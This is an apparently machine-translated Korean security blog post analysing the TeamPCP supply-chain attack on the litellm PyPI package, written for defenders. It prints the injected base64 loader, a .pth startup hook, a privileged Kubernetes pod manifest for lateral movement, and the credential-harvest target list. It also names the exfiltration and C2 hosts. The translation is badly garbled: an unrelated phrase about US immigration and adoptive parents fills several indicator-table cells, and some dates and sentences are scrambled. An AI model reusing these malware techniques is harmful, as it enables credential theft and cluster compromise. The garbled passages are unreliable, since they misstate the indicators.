LiteLLM 공급망 공격

LiteLLM 공급망 공격: TeamPCP가 AI 인프라에 백도어를 심은 방법

왜이 사항

2026년 3월 24일, 인기 있는 파이썬 패키지가 리텔름수천 개 기업이 사용하는 범용 LLM 프록시 게이트웨이 enterprise애플리케이션과 OpenAI, Anthropic, Google, AWS Bedrock과 같은 AI 제공업체 간의 트래픽을 라우팅하는 데 사용되는 라이브러리가 PyPI에서 조용히 변조되었습니다. 13분 간격으로 두 개의 변조된 버전(1.82.7 및 1.82.8)이 게시되었으며, 이 버전에는 자격 증명을 탈취하고 클라우드 비밀 정보를 유출하며 Kubernetes 클러스터 전체에 확산되고 원격 코드 실행 기능을 갖춘 영구 백도어를 설치하는 다단계 페이로드가 포함되어 있었습니다.

대략 매일 3.6 억회 다운로드 클라우드 네이티브 AI 인프라 전반에 걸쳐 심층적으로 배포되는 litellm은 모든 주요 AI 제공업체의 API 키, 클라우드 IAM 자격 증명, Kubernetes 비밀 키 및 SSH 키와 같이 현대 공격자들이 탐내는 모든 것의 교차점에 위치해 있습니다.

하지만 그 작은 타협은 고립된 사건이 ​​아니었습니다. 그것은 일련의 과정의 절정이었습니다. 5일간 5개 생태계를 대상으로 하는 캠페인 위협 행위자로 알려진 자에 의해 팀PCP이 캠페인은 먼저 보안 스캐너(Aqua Trivy, Checkmarx KICS)에 악성 코드를 심은 다음, 탈취한 정보를 이용했습니다. CI/CD 자격 증명을 탈취하여 npm, OpenVSX, 그리고 최종적으로 PyPI까지 확산시켰습니다. 공격자들은 조직이 공급망을 보호하기 위해 의존하는 바로 그 도구들을 무기화했습니다.

이번 공격은 공급망 위협 수법의 급격한 변화를 보여줍니다. 여러 단계를 거치고 생태계 전반에 걸쳐 공격하는 방식은 보안 도구를 무력화시켜 고가치 자산에 접근하는 데까지 이릅니다. AI 인프라, 이는 점점 더 상품화되는 공격 도구에 걸맞은 수준의 계획 및 운영 성숙도를 반영합니다. 페이로드는 실시간으로 반복적으로 수정되었으며(소스 코드에는 주석 처리된 초기 버전을 포함하여 세 가지 페이로드 변형이 나타남), C2 인프라는 공격 전날 등록되었고, 데이터 유출 도메인은 합법적인 공급업체 인프라를 모방하도록 신중하게 선택되었습니다. 카르다노 서명 키 및 WireGuard 구성과 같은 틈새 목표를 포함하여 15개 이상의 범주를 포괄하는 체계적이고 포괄적인 자격 증명 수집기는 AI 기반 악성코드 개발이 공격력 증강 요소로 작용했음을 시사하는 치밀함을 보여줍니다.

연혁

날짜(UTC) 이벤트
19년 3월 TeamPCP는 Aqua Trivy GitHub Actions 태그를 손상시켜 악성 코드로 교체하고 데이터를 유출합니다. CI/CD 하위 저장소의 비밀 정보
21년 3월 Compromise는 유사한 기술을 사용하여 Checkmarx KICS 및 AST GitHub Actions에도 적용됩니다.
3월 22일 오전 06시 35분 BerriAI는 정상을 통해 litellm 1.82.6(마지막 정리 버전)을 게시합니다. CI/CD pipeline Trivy를 보안 검사에 사용하는
23년 3월 TeamPCP는 models.litellm.cloud(데이터 유출 도메인)를 등록했습니다. 66개 이상의 npm 패키지와 OpenVSX 확장 프로그램을 공격했습니다.
3월 24일 오전 10시 39분 litellm 1.82.7 버전이 PyPI에 게시되었습니다 -- 페이로드가 주입되었습니다 proxy_server.py 모듈 범위에서 실행됩니다. 임포트 시 실행됩니다.
3월 24일 오전 10시 52분 litellm 1.82.8 버전이 13분 후에 게시되었습니다. -- 추가 사항 litellm_init.pth이는 litellm 임포트뿐만 아니라 모든 Python 인터프리터 시작 시 실행되는 Python 경로 구성 후크입니다. 빠른 페이로드 반복을 보여줍니다.
16월 24일 오후 00시경 PyPI는 커뮤니티의 보고를 받은 후 두 버전을 모두 제거합니다. 버전은 인덱스에서 완전히 삭제되지만(삭제되는 것이 아님), CDN tarball은 계속 접근 가능합니다.

노출 시간: 약 5.5시간. 이 기간 동안, 어떤 pip install litellm, pip install --upgrade litellm, 또는 CI/CD pipeline 최신 버전을 다운로드하면 페이로드가 실행될 것입니다.

악성코드 침투 경로: 연쇄적 침해

litellm 패키지는 직접적으로 침해당하지 않았습니다. 공격자는 다른 경로를 통해 해당 패키지에 접근했습니다. 2단계 공급망 공격:

Aqua Trivy GitHub Action (compromised March 19)     --> LiteLLM CI/CD pipeline runs Trivy without pinned version         --> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner             --> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPI

LiteLLM의 CI/CD pipeline 보안 스캐너로 Trivy를 사용했는데, 취약점을 찾아내도록 설계된 바로 그 도구 자체가 공격 경로가 되었습니다. 왜냐하면 pipeline 고정된 태그가 아닌 변경 가능한 태그로 Trivy를 참조했습니다. commit SHA에서 손상된 작업이 자동으로 실행되었습니다. 악성 Trivy 작업은 환경 비밀 정보를 유출했는데, 여기에는 다음이 포함됩니다. PYPI_PUBLISH 이 토큰을 통해 TeamPCP는 litellm PyPI 프로젝트에 직접 게시할 수 있는 권한을 얻습니다.

이러한 "보안 시스템을 무력화하는" 전략은 TeamPCP 캠페인의 특징입니다. 공격자들은 보안 도구(Trivy, Checkmarx KICS)를 먼저 공격함으로써 탐지를 무력화하는 동시에 하위 공급망에 대한 특권 접근 권한을 확보했습니다.

기술적 분석: 탑재체

주입 지점

버전 1.82.7 — 모듈 수준 실행 litellm/proxy/proxy_server.py (128행):

import subprocess, base64, sys, tempfile, os  b64_payload = "<~12KB base64 blob>"  with tempfile.TemporaryDirectory() as d:     p = os.path.join(d, "p.py")     with open(p, "wb") as f:         f.write(base64.b64decode(b64_payload))     subprocess.run([sys.executable, p])

이 코드는 모듈 범위에서 딕셔너리 리터럴과 원래 코드 사이에 위치합니다. showwarning() 함수입니다. 이 함수는 다음과 같은 경우 즉시 실행됩니다. litellm.proxy.proxy_server litellm의 프록시 기능을 사용할 때마다 가져오기가 발생합니다.

버전 1.82.8 — 추가됨 litellm_init.pth (파이썬 경로 설정 파일):

import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...) 

Python .pth 파일 site-packages/ 모든 인터프리터 시작 시 처리되지만, 다음으로 시작하는 줄만 처리됩니다. import 코드로 실행됩니다. 공격자는 이를 악용하여 전체 페이로드를 단일 코드에 연결합니다. import 성명서: import os, subprocess, sys; subprocess.Popen(...)이는 proxy_server.py 인젝션보다 훨씬 더 공격적입니다. litellm이 전혀 임포트되지 않더라도 모든 Python 프로세스 실행 시에 실행됩니다. pyproject.toml 배포판에 이 파일을 포함하도록 수정되었습니다.

include = [     { path = "litellm_init.pth", format = ["sdist", "wheel"] } ]

따라서 버전 1.82.8은 다음과 같습니다. 두 개의 독립적인 실행 경로proxy_server.py 인젝션(litellm 프록시 임포트 시 실행)과 .pth 파일(모든 Python 시작 시 실행)이 그 예입니다. 이러한 중복성은 그 자체로 주목할 만한데, 이는 어느 한쪽만으로는 탐지 또는 제거가 불가능하도록 설계되었기 때문입니다. 1.82.7 버전 배포 후 불과 13분 만에 임포트 시점부터 시작 시점까지 실행 빈도가 증가했다는 점은 공격자가 배포 성공 여부를 모니터링하고 신속하게 공격을 반복했음을 시사합니다.

1단계: 종합적인 자격증명서 수집

해독된 내부 스크립트는 매우 정교한 자격 증명 공백입니다. 그것은 다음을 사용합니다. os.walk()glob.glob()subprocess.check_output()그리고 전체 시스템을 스캔하기 위해 직접 파일 읽기를 수행합니다.

카테고리 목표
시스템 재검토 hostname, whoami, uname -a, ip addr, printenv, ip route
SSH ~/.ssh/id_rsa, id_ed25519, id_ecdsa, authorized_keys, known_hosts, config; 호스트 키 출처 /etc/ssh/
클라우드(AWS) ~/.aws/credentials, ~/.aws/configIMDS 역할 자격 증명을 통해 169.254.169.254; 비밀 관리자 ListSecrets; SSM DescribeParameters
클라우드(GCP) ~/.config/gcloud/ (재귀적) $GOOGLE_APPLICATION_CREDENTIALS
클라우드(Azure) ~/.azure/ (재귀적); 환경 변수
Kubernetes 서비스 계정 토큰; ca.crt; 네임스페이스; kubectl get secrets --all-namespaces모든 비밀 정보는 K8s API를 통해 접근 가능합니다.
환경 파일 .env, .env.local, .env.production, .env.development, .env.staging — 재귀적으로 (깊이 6) 검색함 /home, /root, /opt, /srv, /var/www, /app, /data, /tmp
도커 ~/.docker/config.json, /kaniko/.docker/config.json
패키지 토큰 ~/.npmrc, ~/.vault-token, ~/.netrc
데이터베이스 ~/.pgpass, ~/.my.cnf, /etc/mysql/my.cnf, /etc/redis/redis.confMongoDB 설정
TLS / SSL 개인 키 /etc/ssl/private/렛츠인크립트 인증서, 모두 .pem/.key/.p12/.pfx 파일
힘내 ~/.git-credentials, ~/.gitconfig
CI/CD terraform.tfvars, terraform.tfstate, .gitlab-ci.yml, Jenkinsfile, ansible.cfg
암호 지갑 비트코인, 이더리움 키스토어, 솔라나 키페어(검증자, 투표, 스테이킹, 수도꼭지), 카르다노 서명 키, 라이트코인, 도지코인, 지캐시, 대시, 리플, 모네로
쉘의 역사 .bash_history, .zsh_history, .mysql_history, .psql_history, .rediscli_history
시스템 인증 /etc/passwd, /etc/shadow인증 로그(허용된 SSH 세션)
웹훅/API 키 Slack 웹을 검색합니다.hooks디스코드 웹hooks설정 파일에 있는 API 키/비밀번호
VPN WireGuard 설정 /etc/wireguard/

이 수집 도구의 범위는 백과사전적입니다. 클라우드 자격 증명뿐만 아니라 암호화폐 지갑, 데이터베이스 암호, VPN 구성 등도 대상으로 합니다. CI/CD 비밀 정보 — 이는 공격자가 여러 경로를 통해 손상된 시스템을 수익화하려는 의도를 시사합니다.

2단계: 암호화된 유출

도난당한 데이터는 하이브리드 암호화 방식을 사용하여 암호화된 후 유출됩니다.

  • AES-256-CBC 수집된 모든 데이터는 32바이트 크기의 임의 세션 키를 사용하여 암호화됩니다. openssl enc)
  • RSA-4096 공격자의 내장된 공개 키를 사용한 세션 키 암호화(OAEP 패딩을 통해) openssl pkeyutl)
  • 두 개의 암호문 파일이 함께 묶여 있습니다. tpcp.tar.gz ( tpcp (접두사 "TeamPCP"가 캠페인 전반에 걸쳐 일관되게 나타납니다.)
  • HTTPS POST https://models.litellm.cloud/ 과 Content-Type: application/octet-stream

도메인 models.litellm.cloud 해당 도메인은 공격 하루 전인 3월 23일에 등록되었으며, 합법적인 litellm 인프라와 섞이도록 설계되었습니다(실제 프로젝트는 다음을 사용합니다). litellm.ai네트워크 인식 기능을 갖춘 방어 시스템조차도 송신 트래픽을 검토할 때 litellm 자체 모델 엔드포인트로 보이는 트래픽을 감지하지 못할 수 있습니다.

3단계: 영구 백도어(sysmon.py)

해당 페이로드는 시스템 원격 측정 데이터로 위장한 폴링 백도어를 설치합니다.

  • 경로~/.config/sysmon/sysmon.py
  • 예배sysmon.service (systemd 사용자 단위, "시스템 원격 측정 서비스"로 설명됨)
  • 행동: 최초 300초간의 수면 후, 설문조사가 진행됩니다. https://checkmarx.zone/raw 약 50분마다
  • 실행C2에서 반환된 URL을 다운로드합니다. /tmp/pglog실행 가능하게 설정합니다.chmod 755), 분리된 세션에서 실행합니다.
  • 상태 추적/tmp/.pg_state 동일한 페이로드를 다시 다운로드하는 것을 방지합니다.
  • 고집Restart=alwaysRestartSec=10 — 시스템 충돌 및 재부팅 후에도 작동합니다.

도메인 checkmarx.zone Checkmarx(보안 회사)의 오타를 이용한 스쿼팅입니다. checkmarx.com이는 SOC 분석가가 네트워크 로그를 검토할 때 합법적인 보안 업체로 향하는 트래픽처럼 보이도록 설계된 것입니다. 이는 TeamPCP가 보안 업체 브랜드를 사칭하여 숨어드는 전략과 일관된 의도적인 회피 기법입니다.

3단계 b: 쿠버네티스 횡적 이동

감염된 시스템에 Kubernetes 서비스 계정 자격 증명이 있는 경우, 악성 프로그램은 모든 클러스터 노드를 열거하고 배포합니다. 특권 포드 각자에게:

pod_manifest = {     'apiVersion': 'v1', 'kind': 'Pod',     'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'},     'spec': {         'nodeName': node_name,         'hostPID': True, 'hostNetwork': True,         'tolerations': [{'operator': 'Exists'}],         'containers': [{             'name': 'setup',             'image': 'alpine:latest',             'command': ['sh', '-c', drop_cmd],             'securityContext': {'privileged': True},             'volumeMounts': [{'name': 'host', 'mountPath': '/host'}]         }],         'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}],         'restartPolicy': 'Never'     } }

각 포드:

  • 실행됨 특권 과 hostPIDhostNetwork또한 호스트 파일 시스템에 대한 전체 액세스 권한이 있습니다.
  • 사용 chroot /host 동일한 것을 설치하려면 sysmon.py 호스트의 루트 파일 시스템에 있는 백도어
  • 이를 systemd 서비스로 등록하여 Pod 삭제 시에도 데이터가 유지되도록 합니다.
  • 이름 node-setup-* 인간을 kube-system 네임스페이스가 합법적인 클러스터 인프라처럼 보이도록

이것은 단일 손상 CI/CD Kubernetes 접근 권한이 있는 러너는 클러스터의 모든 노드에 백도어를 설치할 수 있습니다. — 쿠버네티스에서 litellm을 프록시로 실행하는 조직에 치명적인 측면 이동 시나리오입니다.

페이로드 진화 (주석 처리된 변형)

소스 코드 131~132행에는 주석 처리된 이전 페이로드 변형 두 가지가 포함되어 있어 공격자의 개발 과정을 보여줍니다.

  • 세 가지 변형 모두 동일한 데이터 유출 인프라를 공유합니다.models.litellm.cloud), RSA-4096 공개 키, AES-256-CBC + RSA 하이브리드 암호화 래퍼, tpcp.tar.gz 번들 이름 지정
  • 이전 버전 추가했습니다 RC4 암호화 계층 데이터 수집 스크립트 내부에서, 외부 AES+RSA 래퍼를 적용하기 전에 수집된 데이터를 암호화합니다. 활성 페이로드(130번째 줄)는 이 내부 RC4 계층을 제거하여 간소화되었습니다.
  • 초기 버전에서는 다음과 같은 기능을 사용합니다. exec() 과 StringIO 캡처는 수집기를 프로세스 내에서 실행하는 데 사용되며, 활성 페이로드는 다음을 사용합니다. subprocess.run() 표준 출력 리디렉션을 사용하면 호스트 프로세스를 오염시키지 않고 더 깔끔하게 분리할 수 있습니다.
  • 세 가지 변형 모두 동일한 자격 증명 범주 및 수집 경로를 대상으로 합니다.
  • 초기 버전에서 사용된 RC4 키는 행위자가 텔레그램에서 관심을 끌려고 했던 행동과 일맥상통하는 도발적인 비방이었다.

이는 공격자가 작전 중에 활발한 개발을 진행했음을 보여줍니다. 공격자는 암호화 스택을 단순화하고 실행 격리를 강화하는 동시에 수집 대상과 데이터 유출 인프라를 안정적으로 유지했습니다.

침해 지표(IOC)

네트워크

지시자 타입 목적
models.litellm.cloud 도메인 유출 엔드포인트(HTTPS POST)
checkmarx.zone 도메인 C2 폴링 엔드포인트(HTTPS GET) /raw)

참고: 외부 보고 링크 checkmarx.zone/static/checkmarx-util-1.0.4.tgz TeamPCP 캠페인의 초기 KICS 단계로 연결됩니다. 이 URL은 여기서 분석된 litellm 페이로드에서 발견되지 않았습니다.

패키지 해시

입양 부모로서의 귀하의 적합성을 결정하기 위해 미국 이민국에 SHA256
litellm-1.82.7.tar.gz 8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea
litellm-1.82.8.tar.gz d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5

파일 시스템

지시자 타입 목적
~/.config/sysmon/sysmon.py 입양 부모로서의 귀하의 적합성을 결정하기 위해 미국 이민국에 지속적인 백도어 스크립트
~/.config/systemd/user/sysmon.service 입양 부모로서의 귀하의 적합성을 결정하기 위해 미국 이민국에 Systemd 영구 저장 장치
/tmp/pglog 입양 부모로서의 귀하의 적합성을 결정하기 위해 미국 이민국에 2단계 바이너리를 다운로드했습니다.
/tmp/.pg_state 입양 부모로서의 귀하의 적합성을 결정하기 위해 미국 이민국에 C2 상태 추적
litellm_init.pth in site-packages/ 입양 부모로서의 귀하의 적합성을 결정하기 위해 미국 이민국에 Python 시작 후크(버전 1.82.8에만 해당)
tpcp.tar.gz 입양 부모로서의 귀하의 적합성을 결정하기 위해 미국 이민국에 암호화된 데이터 유출 번들

Kubernetes

지시자 타입 목적
node-setup-* 팟에 kube-system 작은 무리 특권적인 측면 이동 포드
sysmon.service 클러스터 노드에서 예배 Pod 탈출을 통한 호스트 수준 지속성

암호화

지시자 세부 정보
공격자 RSA-4096 공개 키 SHA256 지문: bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8세 가지 페이로드 변형 모두에 포함되어 있으며, 다른 TeamPCP 작전에서도 동일한 키가 보고되었습니다.
tpcp 유물에 접두사 번들 명명 규칙(tpcp.tar.gz캠페인 전반에 걸쳐 일관성을 유지합니다.

출처: TeamPCP

이 캠페인의 배후에 있는 위협 행위자는 다음과 같이 추적됩니다. 팀PCPPCPcat, Persy_PCP, ShellForce, DeadCatx3 등으로도 알려져 있습니다.

알려진 특징:

  • 텔레그램 채널을 관리합니다. @Persy_PCP   @teampcp 그들은 보안 회사들을 조롱했습니다.
  • GitHub Actions, PyPI, npm, OpenVSX 등 다양한 생태계에서 작동합니다.
  • 캠페인의 각 단계별로 공급업체별 타이포스쿼트 도메인을 사용합니다(예: checkmarx.zone 체크마르크스의 경우, models.litellm.cloud (소문자를 위해)
  • 일관된 인프라 표시: 동일한 RSA 키 쌍, tpcp.tar.gz 명명 규칙, tpcp-docs-* GitHub 저장소를 임시 보관 장소로 활용
  • 보안 도구를 하위 공급망의 진입점으로 삼아 공격합니다.

귀속 신뢰도: 높음. 공유 RSA 공개 키, tpcp 아티팩트 이름 지정, C2 인프라 중복, 5일간의 캠페인 전반에 걸친 운영 속도를 종합적으로 고려할 때, Trivy, KICS, npm, OpenVSX 및 litellm 침해는 동일한 공격자의 소행으로 강력하게 연결됩니다.

자극: 금전적 이득(암호화폐 지갑 탈취, 클라우드 자격 증명 수익화)과 악명(텔레그램 조롱)이 복합적으로 작용한 것으로 보입니다. AWS IAM부터 솔라나 검증자 키 쌍, 와이어가드 설정에 이르기까지 광범위한 자격 증명을 탈취한 것은 금전적 이익을 극대화하려는 의도를 가진 공격자의 소행임을 시사합니다.

인공지능 지원 가능성이 자격 증명 수집기는 체계적으로 포괄적이며, 카르다노 서명 키, 와이어가드 설정, 카니코 도커 자격 증명과 같은 특정 대상을 포함하여 15개 이상의 범주를 포괄하는 방식으로 AI 기반 열거 기법과 일관성을 유지합니다. 페이로드 반복 속도(서로 다른 암호화 방식을 사용하는 세 가지 변형), 생태계 간 협업(5일 만에 5개 생태계), 운영 보안(벤더 사칭 도메인, 하이브리드 암호화, 원격 측정으로 위장한 systemd 영구 저장소)은 AI 기반 개발이 공격력을 증폭시키는 역할을 했을 가능성을 시사합니다. 하지만 이는 추측일 뿐이며, 숙련된 운영자는 AI 도구 없이도 유사한 규모의 공격을 수행할 수 있습니다.

새로운 전술, 기술 및 기법

1. 보안 도구 공급망 오염(T1195.002 변형)

보안 스캐너(Trivy, KICS)를 첫 번째 공격 대상으로 삼아 하위 목표물에 접근하는 것은 새로운 공격 수법입니다. 공격자는 단순히 라이브러리만 침해한 것이 아니라, 조직에서 사용하는 도구까지 침해한 것입니다. 검색 라이브러리가 손상되었습니다. 이로 인해 사각지대가 생깁니다. 악성 코드를 잡아내야 할 스캐너가 바로 악성 코드 전달 메커니즘이 되어버리는 것입니다.

2 파이썬 .pth 파일 영구 저장(T1546)

The litellm_init.pth 버전 1.82.8의 기술은 특히 교묘합니다. 파이썬 .pth 파일 site-packages/ 모든 인터프리터 시작 시 처리됩니다. 다음으로 시작하는 모든 줄 import 코드로 실행됩니다. 페이로드를 단일 페이로드에 연결함으로써 import 이 공격은 litellm이 임포트된 경우뿐만 아니라 모든 Python 프로세스에서 실행되도록 합니다. 즉, litellm이 설치되어 있지만 사용되지 않는 경우에도 페이로드가 실행되며, 손상된 파일을 교체하는 복구 작업 후에도 살아남습니다. .py 파일을 검사하지 않고 .pth 파일.

3. 권한 있는 Pod 배포를 통한 Kubernetes 클러스터 전체 측면 이동 (T1610, T1611)

클러스터의 모든 노드에 권한 있는 Pod를 자동으로 생성하는 기능 — hostPIDhostNetwork호스트 파일 시스템 마운트 및 chroot 지속성을 설치하려면 컨테이너 배포(T1610)와 호스트로의 탈출(T1611)을 연결하여 단일 손상된 워크로드를 전체 클러스터 손상으로 전환합니다.

4. 벤더를 사칭하는 C2 인프라

사용 models.litellm.cloud (litellm을 모방함) 그리고 checkmarx.zone (체크마르크스를 모방하여) C2/탈출 엔드포인트는 네트워크 모니터링을 회피하도록 설계되었습니다. SOC 분석가는 송신 트래픽을 검토할 때 합법적인 공급업체 도메인처럼 보이는 HTTPS 연결을 보게 될 것입니다.

5. 신속한 비행 중 탑재체 반복 수정

v1.82.7 버전을 임포트 시간 실행 방식으로 게시한 후 13분 뒤 시작 시간 실행 방식으로 v1.82.8 버전을 게시한 것은 공격자가 실시간으로 상황을 모니터링하고 대응하고 있음을 보여줍니다. 소스 코드에 주석 처리된 채 보존된 다양한 페이로드 변형(서로 다른 암호화 방식 사용)은 공격이 진행되는 동안 활발한 개발이 이루어졌음을 확인시켜 줍니다.

할 수있는 것

이 공격은 모든 계층의 신뢰를 악용합니다. 보안 도구에 대한 신뢰, 패키지 레지스트리에 대한 신뢰, 친숙해 보이는 도메인에 대한 신뢰, 그리고 그 외 모든 것에 대한 신뢰를 악용합니다. CI/CD 자동화. 이에 대한 방어는 다음과 같은 신뢰 경계를 강화하는 것을 요구합니다.

포장 제품 소비자용

  • 버전뿐 아니라 해시 값으로 종속성을 고정하세요. pip install litellm==1.82.6 --hash=sha256:... 만약 해당 악성 버전이 최신 버전으로 잠시 나타나더라도 설치되지 않도록 방지했을 것입니다.
  • 잠금 파일을 사용하세요. pip-compilepoetry.lock예산 및 uv.lock 정확한 버전과 해시값을 캡처합니다. CI/CD 버전 지정자를 사용하는 대신, 잠금 파일에서 설치해야 합니다.
  • 모니터 .pth 파일. 정기 감사 site-packages/ 예상치 못한 .pth 이 파일들은 파이썬이 시작될 때마다 실행되며, 과소평가되고 있는 지속성 메커니즘입니다.
  • 송신 네트워크 제어를 구현하십시오. 유출 models.litellm.cloud 그리고 C2 폴링을 checkmarx.zone 운영 환경에서 허용 목록 기반의 송신 필터링에 의해 포착되었을 수 있습니다.

패키지 관리자용

  • 핀 CI/CD 행동에 의해 commit 태그가 아니라 SHA입니다. LiteLLM의 pipeline 고정된 버전 없이 Trivy를 사용했습니다. 만약 참조했다면 aquasecurity/trivy-action@<commit-sha> 대신 @latest그렇게 되면 문제가 된 조치는 실행되지 않았을 것입니다.
  • 수명이 짧고 범위가 제한된 게시 토큰을 사용하십시오. PyPI는 Trusted Publishers(OIDC 기반)와 스코프가 지정된 API 토큰을 지원합니다. 유출된 정보는 다음과 같습니다. PYPI_PUBLISH 토큰은 장기간 무제한 게시 권한을 가져서는 안 되었습니다.
  • PyPI에서 2단계 인증을 활성화하세요. 모든 유지 관리자에게 2단계 인증(2FA)을 요구하고 가능한 경우 하드웨어 보안 키를 사용하십시오.
  • 패키지에 서명하세요. Sigstore/PEP 740 인증서를 통해 소비자는 제품 포장이 예상대로 제조되었는지 확인할 수 있습니다. CI/CD pipeline토큰을 훔친 공격자에 의한 것이 아닙니다.

플랫폼 운영자(PyPI, npm, GitHub)용

  • 비정상적인 출판 패턴을 감지합니다. 평소와 다른 IP 주소 또는 토큰에서 13분 간격으로 두 개의 새 버전이 게시되면 패키지가 설치 가능해지기 전에 검토 보류 또는 자동 스캔이 트리거되어야 합니다.
  • 신뢰할 수 있는 퍼블리셔 도입을 가속화하세요. OIDC 기반 게시 방식은 패키지를 특정 저장소 및 워크플로에 연결하여, 도난당한 토큰이 원래 저장소 외부에서는 쓸모없게 만듭니다. CI/CD 문맥.
  • 게시 시점에 악성코드 검사를 구현하십시오. proxy_server.py에 포함된 base64로 디코딩된 페이로드는 게시 시점에 정적 분석을 통해 탐지될 수 있습니다.

생태계를 위해

  • 보안 도구를 핵심 기반 시설처럼 취급하십시오. Trivy와 Checkmarx KICS는 수백만 명이 사용하고 있습니다. pipelines. 이들의 GitHub Actions는 스캔하는 패키지와 동일한 수준의 엄격한 기준으로 서명, 고정 및 모니터링되어야 합니다.
  • 런타임 감지에 투자하세요. 정적 분석만으로는 모든 난독화 기법을 잡아낼 수 없습니다. 패키지 설치에 대한 런타임 모니터링이 필요합니다. hooks예상치 못한 네트워크 연결 및 의심스러운 파일 접근 패턴은 심층적인 방어 체계를 제공합니다.
  • 위협 정보를 더 빠르게 공유하세요. litellm의 5.5시간 노출 기간은 공급업체 간 빠른 협업이 있었다면 더 단축될 수 있었을 것입니다. Xygeni MEW, Socket, Snyk과 같은 자동 스캔 서비스는 해당 이상 현상을 감지했지만, 병목 현상은 사람의 확인과 레지스트리 응답 시간에 있습니다.

맺음말

팀PCP 캠페인은 중요한 전환점입니다. software supply chain security보안 스캐너를 먼저 무력화하고 이를 발판 삼아 고가치 AI 인프라에 접근함으로써, 공격자들은 공급망이 가장 취약한 전이적 종속성만큼만 강력하며, 그 종속성은 바로 여러분이 안전을 위해 신뢰하는 보안 도구일 수 있음을 보여주었습니다.

litellm 침해 사건은 특히 AI 인프라에 대한 위험이 증가하고 있음을 보여줍니다. LLM 프록시 게이트웨이가 점점 더 중요해짐에 따라, standard 패턴 enterprise AI 배포 시, API 키, 클라우드 자격 증명 및 민감한 데이터에 대한 접근 권한이 단일 구성 요소에 집중됩니다. 따라서 해당 구성 요소가 손상되면 전체 AI 스택에 접근할 수 있는 열쇠를 얻게 됩니다.

해당 5.5시간 동안 litellm 1.82.7 또는 1.82.8 버전을 설치한 조직은 이를 완전한 자격 증명 유출로 간주해야 합니다. 영향을 받은 시스템의 모든 비밀 키를 교체하고 Kubernetes 클러스터를 감사하십시오. node-setup-* 팟에 kube-system모두 제거하세요 sysmon.service systemd 유닛을 확인하고 litellm_init.pth 파이썬에서 site-packages/ 디렉터리. 공식 Docker 이미지 사용자(ghcr.io/berriai/litellm이미지가 종속성을 고정하고 노출 시간 동안 재구축되지 않았기 때문에 )는 영향을 받지 않았습니다.

저자에 관하여

공동 창립자 및 CTO

루이스 로드리게스 Xygeni Security의 공동 창립자 겸 CTO입니다. 20년 이상 애플리케이션 보안 분야에서 경력을 쌓아온 그는 팀이 실제 배포 위험을 줄일 수 있도록 지원하는 애플리케이션 보안 보호 및 고급 코드 분석 기능에 집중하고 있습니다.

 
sca-tools-software-composition-analysis-tools
소프트웨어 위험을 우선순위화하고, 해결하고, 보호하십시오.
무료 계정을 만드세요.
신용 카드가 필요하지 않습니다.

소프트웨어 개발 및 제공을 안전하게 보호하세요

Xygeni 제품군과 함께